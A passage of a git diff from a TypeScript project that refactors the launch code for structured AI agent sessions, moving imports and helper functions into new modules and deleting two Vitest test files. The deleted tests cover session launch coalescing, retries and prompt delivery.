   const actual = await vi.importActual<typeof RecoveryModule>(
     '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
@@ -127,16 +141,6 @@ vi.mock('@/lib/agent-catalog/agent-catalog', () => ({
   ]
 }))
 
-import { resetStructuredAgentSessionSendsForTests } from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import { clearNativeChatComposerDraftsForTests as clearNativeChatDraftCacheForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import { readNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
-import { resetStructuredAgentLaunchRegistryForTests } from './structured-agent-session-launch-registry'
-import { useAppStore } from '@/store/index'
-import { registerStructuredSelectionCatalogStore } from '../options/structured-agent-session-selection-controller'
-import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
 vi.mock('@/components/native-chat/telemetry/native-chat-telemetry', () => ({
   emitNativeChatMessageSent: vi.fn()
 }))
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.test.ts
deleted file mode 100644
index bd0f89f4a48..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.test.ts
+++ /dev/null
@@ -1,416 +0,0 @@
-// @vitest-environment happy-dom
-import {
-  mocks,
-  launchIntent,
-  publishedSnapshot,
-  publishIntent,
-  sends,
-  composerDraft,
-  flushLaunchSettlement
-} from './structured-agent-session-launch.test-fixture'
-import { describe, expect, it, vi } from 'vitest'
-import { toast } from 'sonner'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
-import { StructuredAgentSessionCreateRefusalError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import {
-  retryStructuredAgentSessionLaunch,
-  startStructuredAgentLaunch
-} from './structured-agent-session-launch'
-import { getStructuredAgentSessionLaunchLifecycle } from './structured-agent-session-launch-registry'
-import { hasStagedStructuredLaunchPrompt } from './structured-agent-session-launch-prompt'
-import { getStructuredAgentSessionLaunchSelection } from './structured-agent-session-launch-options'
-
-describe('startStructuredAgentLaunch', () => {
-  it('keeps a Claude and a Codex launch in the same worktree apart', async () => {
-    const worktreeId = 'wt-two-agents'
-    mocks.launch.mockImplementation(async (intent: StructuredAgentSessionLaunchIntent) => ({
-      sessionId: intent.sessionId,
-      fence: 1
-    }))
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([
-      publishedSnapshot(worktreeId, `claude-session-${worktreeId}`),
-      publishedSnapshot(worktreeId, `codex-session-${worktreeId}`)
-    ])
-
-    const claude = startStructuredAgentLaunch(worktreeId, 'claude', { requestId: 'request-7' })
-    const codex = startStructuredAgentLaunch(worktreeId, 'codex', { requestId: 'request-8' })
-    await flushLaunchSettlement()
-
-    expect(mocks.createIntent).toHaveBeenNthCalledWith(
-      1,
-      worktreeId,
-      'claude',
-      undefined,
-      undefined,
-      undefined,
-      undefined,
-      undefined
-    )
-    expect(mocks.createIntent).toHaveBeenNthCalledWith(
-      2,
-      worktreeId,
-      'codex',
-      undefined,
-      undefined,
-      undefined,
-      undefined,
-      undefined
-    )
-    expect(mocks.launch).toHaveBeenCalledTimes(2)
-    expect(vi.mocked(mocks.launch).mock.calls.map(([intent]) => intent.params.agent)).toEqual([
-      'claude',
-      'codex'
-    ])
-    expect(claude.sessionId).not.toBe(codex.sessionId)
-    expect(toast.error).not.toHaveBeenCalled()
-  })
-
-  it.each(['late', 'missing', 'unavailable'] as const)(
-    'uses an older host’s receipt to send while tab inventory is %s',
-    async (inventory) => {
-      const worktreeId = 'wt-host-frame'
-      const intent = launchIntent(worktreeId, 'session-host-frame')
-      intent.createMessageSupport = false
-      mocks.createIntent.mockReturnValueOnce(intent)
-      mocks.launch.mockResolvedValueOnce({ sessionId: intent.sessionId, fence: 1 })
-      let reads = 0
-      vi.mocked(refreshLocalStructuredSessionTabs).mockImplementation(async () => {
-        reads += 1
-        if (inventory === 'unavailable') {
-          throw new Error('inventory unavailable')
-        }
-        return inventory === 'late' && reads > 1
-          ? [publishedSnapshot(worktreeId, intent.sessionId)]
-          : []
-      })
-
-      const launch = startStructuredAgentLaunch(worktreeId, 'codex', {
-        requestId: 'request-10',
-        prompt: 'first task',
-        promptDelivery: 'submit-after-ready'
-      })
-      await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: true })
-
-      expect(mocks.launch).toHaveBeenCalledOnce()
-      expect(refreshLocalStructuredSessionTabs).not.toHaveBeenCalled()
-      expect(sends()).toHaveLength(1)
-      expect(sends()[0]?.[2]).toMatchObject({ envelope: { sessionId: intent.sessionId } })
-    }
-  )
-
-  it("delivers a repeated request's prompt once, to both callers, after the shared launch settles", async () => {
-    const worktreeId = 'wt-coalesced-prompt'
-    const intent = launchIntent(worktreeId)
-    let resolveLaunch: (receipt: { sessionId: string; fence: number }) => void = () => {}
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch.mockImplementation(
-      () =>
-        new Promise<{ sessionId: string; fence: number }>((resolve) => (resolveLaunch = resolve))
-    )
-    publishIntent(intent)
-
-    const first = startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'double-click',
-      prompt: 'second prompt'
-    })
-    const second = startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'double-click',
-      prompt: 'second prompt'
-    })
-
-    resolveLaunch({ sessionId: intent.sessionId, fence: 1 })
-    for (const caller of [first, second]) {
-      await expect(caller.promptDeliveryResult).resolves.toEqual({
-        delivered: true,
-        failureNotified: false
-      })
-    }
-    await flushLaunchSettlement()
-
-    expect(second.sessionId).toBe(first.sessionId)
-    expect(sends()).toHaveLength(1)
-
-    expect(mocks.callRuntimeRpc).toHaveBeenCalledWith(
-      { kind: 'local' },
-      'agentSession.send',
-      expect.objectContaining({
-        body: expect.objectContaining({
-          blocks: [{ type: 'text', text: 'second prompt' }]
-        })
-      })
-    )
-  })
-
-  it('keeps the launch reserved until every coalesced prompt delivery settles', async () => {
-    const worktreeId = 'wt-coalesced-prompt-reservation'
-    const intent = launchIntent(worktreeId)
-    let resolveLaunch!: (receipt: { sessionId: string; fence: number }) => void
-    const pendingSends: ((result: unknown) => void)[] = []
-    mocks.createIntent.mockReturnValue(intent)
-    mocks.launch.mockImplementationOnce(() => new Promise((resolve) => (resolveLaunch = resolve)))
-    publishIntent(intent)
-    mocks.callRuntimeRpc.mockImplementation(
-      () => new Promise((resolve) => pendingSends.push(resolve))
-    )
-
-    startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'double-click',
-      prompt: 'second prompt'
-    })
-    const coalesced = startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'double-click',
-      prompt: 'second prompt'
-    })
-    resolveLaunch({ sessionId: intent.sessionId, fence: 1 })
-    await vi.waitFor(() => expect(mocks.callRuntimeRpc).toHaveBeenCalledOnce())
-
-    const whileSending = startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'double-click',
-      prompt: 'second prompt'
-    })
-    expect(mocks.createIntent).toHaveBeenCalledOnce()
-    expect(mocks.launch).toHaveBeenCalledOnce()
-
-    await flushLaunchSettlement()
-    for (const resolve of pendingSends) {
-      resolve({ ok: true, value: { submission: { dispatchState: 'accepted' } } })
-    }
-    for (const caller of [coalesced, whileSending]) {
-      await expect(caller.promptDeliveryResult).resolves.toEqual({
-        delivered: true,
-        failureNotified: false
-      })
-    }
-    expect(mocks.callRuntimeRpc).toHaveBeenCalledOnce()
-  })
-
-  it('opens a new chat for a new start while an earlier outcome is unknown', async () => {
-    const worktreeId = 'wt-unknown-different-prompts'
-    const intent = launchIntent(worktreeId)
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch.mockRejectedValue(new Error('offline'))
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([])
-
-    startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'request-18',
-      prompt: 'first prompt'
-    })
-    await flushLaunchSettlement()
-    const second = startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'request-19',
-      prompt: 'second prompt'
-    })
-    await flushLaunchSettlement()
-
-    expect(mocks.createIntent).toHaveBeenCalledTimes(2)
-    expect(second.sessionId).not.toBe(intent.sessionId)
-    await expect(second.launchResult).rejects.toThrow('offline')
-    expect(composerDraft(second.sessionId)).toBe('second prompt')
-    expect(composerDraft(intent.sessionId)).toBe('first prompt')
-  })
-
-  it('retries an absent unknown outcome with the exact same intent', async () => {
-    const worktreeId = 'wt-same-envelope-retry'
-    const intent = launchIntent(worktreeId)
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch
-      .mockRejectedValueOnce(new Error('response lost'))
-      .mockResolvedValueOnce({ sessionId: intent.sessionId, fence: 1 })
-    vi.mocked(refreshLocalStructuredSessionTabs)
-      .mockResolvedValueOnce([])
-      .mockResolvedValueOnce([publishedSnapshot(worktreeId, intent.sessionId)])
-
-    startStructuredAgentLaunch(worktreeId, 'codex', { requestId: 'request-22' })
-    await flushLaunchSettlement()
-
-    expect(mocks.launch).toHaveBeenCalledTimes(2)
-    expect(mocks.launch.mock.calls[0]?.[0]).toBe(intent)
-    expect(mocks.launch.mock.calls[1]?.[0]).toBe(intent)
-    expect(mocks.createIntent).toHaveBeenCalledOnce()
-    expect(toast.error).not.toHaveBeenCalled()
-  })
-
-  // Why a resume: the host refuses a second adoption of the conversation, so a new resume re-checks.
-  it('keeps an unresolved resume identity reserved until inventory reconciles it', async () => {
-    const worktreeId = 'wt-still-unknown'
-    const resumeFrom = { providerSessionId: 'provider-still-unknown' }
-    const intent = launchIntent(worktreeId)
-    mocks.createIntent.mockReturnValueOnce({ ...intent, params: { ...intent.params, resumeFrom } })
-    mocks.launch.mockRejectedValue(new Error('offline'))
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([])
-
-    startStructuredAgentLaunch(worktreeId, 'codex', { requestId: 'request-23', resumeFrom })
-    await flushLaunchSettlement()
-
-    publishIntent(intent)
-    startStructuredAgentLaunch(worktreeId, 'codex', { requestId: 'request-24', resumeFrom })
-    await flushLaunchSettlement()
-
-    expect(mocks.createIntent).toHaveBeenCalledOnce()
-    expect(mocks.launch).toHaveBeenCalledTimes(2)
-    expect(toast.error).not.toHaveBeenCalled()
-  })
-
-  it("keeps the prompt in the chat's composer, unsent, through an unknown outcome's recovery", async () => {
-    const worktreeId = 'wt-unknown-prompt-retry'
-    const intent = launchIntent(worktreeId)
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch.mockRejectedValue(new Error('offline'))
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([])
-
-    const first = startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'request-25',
-      prompt: 'only once'
-    })
-    await expect(first.launchResult).rejects.toThrow('offline')
-    expect(first.releaseCallerAfterUnknownOutcome()).toBe(true)
-
-    publishIntent(intent)
-    // The chat's own Retry re-checks it; a new start would open a new chat instead.
-    expect(retryStructuredAgentSessionLaunch(worktreeId, intent.sessionId)).toBe(true)
-    await flushLaunchSettlement()
-    expect(getStructuredAgentSessionLaunchLifecycle(worktreeId, intent.sessionId)).toBeNull()
-
-    expect(composerDraft(intent.sessionId)).toBe('only once')
-    expect(sends()).toHaveLength(0)
-  })
-
-  it('repairs failed tab publication on Retry with the original chat and operation', async () => {
-    const worktreeId = 'wt-post-attach-unknown'
-    const intent = launchIntent(worktreeId)
-    intent.createMessageSupport = false
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch.mockRejectedValue(
-      Object.assign(new Error('The chat may already exist.'), {
-        code: 'agent_session_operation_unknown'
-      })
-    )
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([])
-
-    const launch = startStructuredAgentLaunch(worktreeId, 'codex', { requestId: 'request-26' })
-
-    await expect(launch.launchResult).rejects.toMatchObject({
-      code: 'agent_session_operation_unknown'
-    })
-    expect(launch.isVisibilityUnknown()).toBe(true)
-    expect(launch.releaseCallerAfterUnknownOutcome()).toBe(true)
-
-    mocks.launch.mockResolvedValueOnce({ sessionId: intent.sessionId, fence: 1 })
-    expect(retryStructuredAgentSessionLaunch(worktreeId, intent.sessionId)).toBe(true)
-    await flushLaunchSettlement()
-
-    expect(getStructuredAgentSessionLaunchLifecycle(worktreeId, intent.sessionId)).toBeNull()
-    expect(mocks.launch).toHaveBeenCalledTimes(3)
-    for (const [retried] of mocks.launch.mock.calls) {
-      expect(retried).toBe(intent)
-    }
-    expect(mocks.createIntent).toHaveBeenCalledOnce()
-  })
-
-  // A paired server's create seeds from its settings at create time, which its probe reports.
-  it("shows the seed a paired server's probe reports on a retry, not the first admission's", async () => {
-    const worktreeId = 'wt-paired-retry-seed'
-    const intent: StructuredAgentSessionLaunchIntent = {
-      ...launchIntent(worktreeId, 'session-paired-retry-seed'),
-      executionHostId: 'runtime:server-1',
-      target: { kind: 'environment', environmentId: 'server-1' },
-      seedOptions: { model: 'gpt-5.5' }
-    }
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch
-      .mockRejectedValueOnce(new StructuredAgentSessionCreateRefusalError('unsupported'))
-      .mockImplementationOnce(
-        (_intent: StructuredAgentSessionLaunchIntent, onHostSeed?: (seed: unknown) => void) => {
-          onHostSeed?.({ model: 'gpt-5.6-luna' })
-          return new Promise(() => undefined)
-        }
-      )
-
-    startStructuredAgentLaunch(worktreeId, 'codex', { requestId: 'request-28' })
-    await flushLaunchSettlement()
-    expect(getStructuredAgentSessionLaunchSelection(intent.sessionId)?.seed).toEqual({
-      model: 'gpt-5.5'
-    })
-
-    expect(retryStructuredAgentSessionLaunch(worktreeId, intent.sessionId)).toBe(true)
-    await flushLaunchSettlement()
-    expect(getStructuredAgentSessionLaunchSelection(intent.sessionId)?.seed).toEqual({
-      model: 'gpt-5.6-luna'
-    })
-  })
-
-  it("reports a repeated request's prompt as undelivered to both callers after refusal", async () => {
-    const worktreeId = 'wt-refused-coalesced-prompts'
-    const intent = launchIntent(worktreeId)
-    let rejectLaunch!: (error: unknown) => void
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch.mockImplementationOnce(
-      () => new Promise((_resolve, reject) => (rejectLaunch = reject))
-    )
-
-    const first = startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'double-click',
-      prompt: 'first prompt'
-    })
-    const second = startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'double-click',
-      prompt: 'first prompt'
-    })
-    expect(hasStagedStructuredLaunchPrompt(intent.sessionId)).toBe(true)
-
-    rejectLaunch(new StructuredAgentSessionCreateRefusalError('unsupported'))
-    await expect(first.launchResult).rejects.toBeInstanceOf(
-      StructuredAgentSessionCreateRefusalError
-    )
-    // Neither caller delivered; the first's prompt was handed back into the failed chat's composer.
-    await expect(first.promptDeliveryResult).resolves.toEqual({
-      delivered: false,
-      failureNotified: true,
-      inComposer: true
-    })
-    await expect(second.promptDeliveryResult).resolves.toEqual({
-      delivered: false,
-      failureNotified: true
-    })
-    expect(composerDraft(intent.sessionId)).toBe('first prompt')
-    expect(hasStagedStructuredLaunchPrompt(intent.sessionId)).toBe(false)
-  })
-
-  it('keeps a drafted chat out of a second action that sends the same text', async () => {
-    const worktreeId = 'wt-coalesced-delivery-mode'
-    const drafted = launchIntent(worktreeId, 'coalesced-delivery-session')
-    const sent = launchIntent(worktreeId, 'sent-delivery-session')
-    mocks.createIntent.mockReturnValueOnce(drafted).mockReturnValueOnce(sent)
-    mocks.launch.mockImplementation((intent: StructuredAgentSessionLaunchIntent) =>
-      Promise.resolve({ sessionId: intent.sessionId, fence: 1 })
-    )
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([
-      publishedSnapshot(worktreeId, drafted.sessionId),
-      publishedSnapshot(worktreeId, sent.sessionId)
-    ])
-
-    startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'continue-click',
-      prompt: 'PR #1 context',
-      promptDelivery: 'draft'
-    })
-    const other = startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'fix-click',
-      prompt: 'PR #1 context',
-      promptDelivery: 'auto-submit'
-    })
-
-    // Why: two actions are two chats, whatever their text; neither lands in the other's chat.
-    expect(other.sessionId).toBe(sent.sessionId)
-    await expect(other.promptDeliveryResult).resolves.toEqual({
-      delivered: true,
-      failureNotified: false
-    })
-    expect(hasStagedStructuredLaunchPrompt(drafted.sessionId)).toBe(false)
-    expect(sends().map((call) => call[2])).toEqual([
-      expect.objectContaining({ envelope: expect.objectContaining({ sessionId: sent.sessionId }) })
-    ])
-    expect(composerDraft(drafted.sessionId)).toBe('PR #1 context')
-  })
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.ts
index 9571ccf1f6a..e94c13febfb 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.ts
@@ -1,23 +1,21 @@
 import { useAppStore } from '@/store/index'
 import { reserveStructuredLaunchSlot } from './structured-agent-session-launch-surface'
-import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
-import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import {
-  abandonStructuredAgentSessionLaunchIntent,
   createStructuredAgentSessionLaunchIntent,
   retryStructuredAgentSessionLaunchIntent
-} from '@/lib/launch-structured-agent-session'
+} from '@/lib/agent-session/launch/structured-agent-session-launch-intent'
 import {
   discardStructuredAgentSessionChatSends,
-  stageStructuredLaunchPrompt,
-  type StructuredPromptDeliveryResult
-} from '@/lib/agent-session/launch/structured-agent-session-launch-prompt'
+  stageStructuredLaunchPrompt
+} from '@/lib/agent-session/launch/structured-agent-session-staged-prompt'
+
 import {
   launchAndReconcile,
-  reconcileUnknownLaunch,
-  type StructuredAgentLaunchReceipt
+  reconcileUnknownLaunch
 } from '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
+import type { StructuredAgentLaunchReceipt } from '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
 import {
+  type StructuredPromptDeliveryResult,
   addStructuredLaunchCaller,
   launchPromptText,
   joinLaunchDelivery,
@@ -27,14 +25,18 @@ import {
   type StructuredAgentLaunchOptions,
   type StructuredLaunchCaller
 } from '@/lib/agent-session/launch/structured-agent-session-launch-callers'
+
 import {
   getStructuredAgentSessionLaunchLifecycle,
+  structuredLaunchIdentity
+} from './structured-agent-session-launch-registry'
+import {
   getStructuredLaunchStateBySessionId,
   notifyStructuredLaunchListeners,
   setStructuredLaunchState,
-  structuredLaunchIdentity,
   type StructuredLaunchState
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
+
 import { markStructuredAgentSessionLaunchCancelled } from './structured-agent-session-launch-cancel'
 import { restorePersistedStructuredLaunchState } from './structured-agent-session-launch-reload'
 import { getJoinableStructuredLaunchState } from './structured-agent-session-launch-holders'
@@ -55,6 +57,10 @@ import {
 } from './structured-agent-session-launch-options'
 import { releaseStructuredLaunchSource } from './structured-agent-session-launch-source-handoff'
 import * as launchDraft from './structured-agent-session-launch-draft'
+import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
+import { abandonStructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-abandon'
+import { adoptPairedHostSeed } from './structured-agent-session-launch-host-seed'
 
 type StructuredLaunchStateResult = {
   state: StructuredLaunchState
@@ -72,28 +78,6 @@ export type StructuredAgentLaunchResult = {
   releaseCallerAfterUnknownOutcome: () => boolean
 }
 
-/** Each attempt's probe names the seed the paired server's create will use; the picker shows it. */
-function adoptPairedHostSeed(
-  state: StructuredLaunchState,
-  seedOptions: StructuredLaunchState['selection']['seed']
-): void {
-  // The support answer is a fresh seed; continuation baseline belongs to actual host create.
-  if (state.intent.params.resumeFrom || state.intent.params.forkFrom) {
-    seedOptions = undefined
-  }
-  const { seedPending, ...selection } = state.selection
-  if (!seedPending && JSON.stringify(seedOptions) === JSON.stringify(state.intent.seedOptions)) {
-    return
-  }
-  if (seedOptions) {
-    state.intent.seedOptions = seedOptions
-  } else {
-    delete state.intent.seedOptions
-  }
-  state.selection = { ...selection, seed: seedOptions }
-  notifyStructuredLaunchListeners(state.intent.sessionId)
-}
-
 function resetStructuredLaunchCallers(
   state: StructuredLaunchState,
   retainedOpening: boolean
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-legacy-launch-stop.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-legacy-launch-stop.ts
index 3d574014390..485757ccd86 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-legacy-launch-stop.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-legacy-launch-stop.ts
@@ -1,5 +1,5 @@
 import { useStructuredLaunchCreateSupport } from './structured-agent-session-launch-create-support'
-import { takeBackLegacyStructuredLaunchPrompts } from './structured-agent-session-launch-prompt'
+import { takeBackLegacyStructuredLaunchPrompts } from './structured-agent-session-staged-prompt'
 
 /** Stop takes the launch text back only when the host predates create carrying the first message. */
 export function useStructuredLegacyLaunchStop(sessionId: string): {
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-new-chat-own-launch.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-new-chat-own-launch.test.ts
deleted file mode 100644
index e532d4a7685..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-new-chat-own-launch.test.ts
+++ /dev/null
@@ -1,466 +0,0 @@
-import type * as RuntimeRpcCallModule from '@/runtime/rpc/calls/runtime-rpc-call'
-// @vitest-environment happy-dom
-
-import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { afterEach, beforeEach, describe, expect, it, vi, type MockInstance } from 'vitest'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import type { Tab, TabGroup, TabGroupLayoutNode } from '../../../../../shared/tab-types'
-import type { AgentSessionStatusSummary } from '../../../../../shared/agent-session/agent-session-wire'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
-import type * as LaunchAdmissionModule from './structured-agent-session-launch-admission'
-
-const mocks = vi.hoisted(() => ({
-  createIntent: vi.fn(),
-  launch: vi.fn(),
-  callRuntimeRpc: vi.fn(),
-  refreshTabs: vi.fn(),
-  activateTab: vi.fn(),
-  focusGroup: vi.fn(),
-  statusBySession: new Map<string, AgentSessionStatusSummary['status']>(),
-  liveSessions: new Set<string>()
-}))
-
-type StoreState = {
-  unifiedTabsByWorktree: Record<string, Tab[]>
-  groupsByWorktree: Record<string, TabGroup[]>
-  layoutByWorktree: Record<string, TabGroupLayoutNode>
-  activeGroupIdByWorktree: Record<string, string>
-  nativeChatLaunchDraftByTabId: Record<string, { text: string; adopted?: boolean }>
-}
-/** A workspace split into a left (active) and a right tab group. */
-function emptyStoreState(): StoreState {
-  const group = (id: string): TabGroup => ({
-    id,
-    worktreeId: 'wt-new-chat',
-    activeTabId: null,
-    tabOrder: []
-  })
-  return {
-    unifiedTabsByWorktree: {},
-    groupsByWorktree: { 'wt-new-chat': [group('group-left'), group('group-right')] },
-    layoutByWorktree: {
-      'wt-new-chat': {
-        type: 'split',
-        direction: 'horizontal',
-        first: { type: 'leaf', groupId: 'group-left' },
-        second: { type: 'leaf', groupId: 'group-right' }
-      }
-    },
-    activeGroupIdByWorktree: { 'wt-new-chat': 'group-left' },
-    nativeChatLaunchDraftByTabId: {}
-  }
-}
-const owner = vi.hoisted((): { store: ReturnType<typeof createTestStore> | null } => ({
-  store: null
-}))
-
-vi.mock('sonner', () => ({ toast: { error: vi.fn(), info: vi.fn(), message: vi.fn() } }))
-vi.mock('@/i18n/i18n', () => ({ translate: (_key: string, fallback: string) => fallback }))
-vi.mock('@/lib/agent-catalog/agent-catalog', () => ({
-  getAgentLabel: () => 'Codex',
-  getAgentCatalog: () => [{ id: 'codex', label: 'Codex' }]
-}))
-const launchErrorMocks = vi.hoisted(() => {
-  class StructuredAgentSessionCreateRefusalError extends Error {}
-  class StructuredAgentSessionOwnerUnresolvedError extends Error {}
-  return { StructuredAgentSessionCreateRefusalError, StructuredAgentSessionOwnerUnresolvedError }
-})
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-errors', async () => ({
-  ...(await vi.importActual<typeof LaunchErrors>(
-    '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-  )),
-  ...launchErrorMocks
-}))
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call', () => ({
-  launchStructuredAgentSession: mocks.launch
-}))
-
-vi.mock('@/lib/launch-structured-agent-session', () => {
-  return {
-    createStructuredAgentSessionLaunchIntent: mocks.createIntent,
-    retryStructuredAgentSessionLaunchIntent: vi.fn(),
-    abandonStructuredAgentSessionLaunchIntent: vi.fn(),
-    launchStructuredAgentSession: mocks.launch,
-    StructuredAgentSessionCreateRefusalError:
-      launchErrorMocks.StructuredAgentSessionCreateRefusalError,
-    StructuredAgentSessionOwnerUnresolvedError:
-      launchErrorMocks.StructuredAgentSessionOwnerUnresolvedError
-  }
-})
-// Each pick opens its chat once its host admits it; here this machine admits at once.
-vi.mock(
-  '@/lib/agent-session/launch/structured-agent-session-launch-admission',
-  async (importOriginal) => ({
-    ...(await importOriginal<typeof LaunchAdmissionModule>()),
-    beginHostAdmittedStructuredLaunch: (args: { openAdmitted: () => unknown }) =>
-      args.openAdmitted()
-  })
-)
-vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
-  refreshLocalStructuredSessionTabs: mocks.refreshTabs
-}))
-vi.mock('../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  // Sends reach the runtime RPC through this wrapper, as in the app.
-  callStructuredAgentSession: (target: unknown, method: string, params?: unknown) =>
-    mocks.callRuntimeRpc(target, method, params)
-}))
-// Switch-on, main answers the window's chat opens and its frames draw them.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply({
-    ...(await importOriginal<typeof RuntimeRpcCallModule>()),
-    callRuntimeRpc: mocks.callRuntimeRpc
-  })
-)
-vi.mock('@/runtime/rpc/compatibility/runtime-compatibility-probe', () => ({
-  ensureRuntimeEnvironmentCompatible: vi.fn(async () => null)
-}))
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-vi.mock('@/runtime/native-chat/status/structured-agent-session-status-feed', () => ({
-  getStructuredAgentSessionStatusFeed: () => ({
-    getSessionObservation: (sessionId: string) =>
-      mocks.liveSessions.has(sessionId) ? 'live' : 'unverifiable',
-    getSnapshot: () =>
-      new Map(
-        [...mocks.statusBySession].map(([sessionId, status]) => [sessionId, { sessionId, status }])
-      )
-  })
-}))
-vi.mock('@/store/index', async () =>
-  (await import('../../launch-parity-renderer.test-fixture')).launchStoreModuleMock(owner)
-)
-
-import { resetStructuredAgentSessionSendsForTests } from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import { clearNativeChatComposerDraftsForTests as clearNativeChatDraftCacheForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import { adoptAgentSessionLaunchVerdict } from './routing/agent-session-launch-plan'
-import {
-  beginStructuredAgentSessionProvisionalLaunch,
-  type StructuredAgentSessionProvisionalLaunch
-} from '../structured-agent-session-provisional-tab'
-import {
-  getStructuredAgentSessionLaunchLifecycle,
-  resetStructuredAgentLaunchRegistryForTests
-} from './structured-agent-session-launch-registry'
-import {
-  discardStructuredLaunchPrompts,
-  hasStagedStructuredLaunchPrompt
-} from './structured-agent-session-launch-prompt'
-import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import { isPendingTab } from '@/runtime/workspace-layout/intents/layout-owner-pending-tabs'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
-import { createTestStore, seedStore } from '@/store/testing/app-store-test-fixture'
-import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-
-const WORKTREE_ID = 'wt-new-chat'
-
-function launchIntent(
-  sessionId: string,
-  worktreeId = WORKTREE_ID
-): StructuredAgentSessionLaunchIntent {
-  return {
-    worktreeId,
-    sessionId,
-    executionHostId: 'local',
-    target: { kind: 'local' },
-    agent: 'codex',
-    params: {
-      envelope: {
-        sessionId,
-        clientOperationId: `operation-${sessionId}`,
-        expectedRuntimeFence: null,
-        payloadFingerprint: `fingerprint-${sessionId}`
-      },
-      worktree: `id:${worktreeId}`,
-      agent: 'codex'
-    }
-  }
-}
-
-function published(...sessionIds: string[]): RuntimeMobileSessionTabsResult[] {
-  return [WORKTREE_ID, 'wt-other'].map((worktree) => ({
-    worktree,
-    publicationEpoch: 'epoch-1',
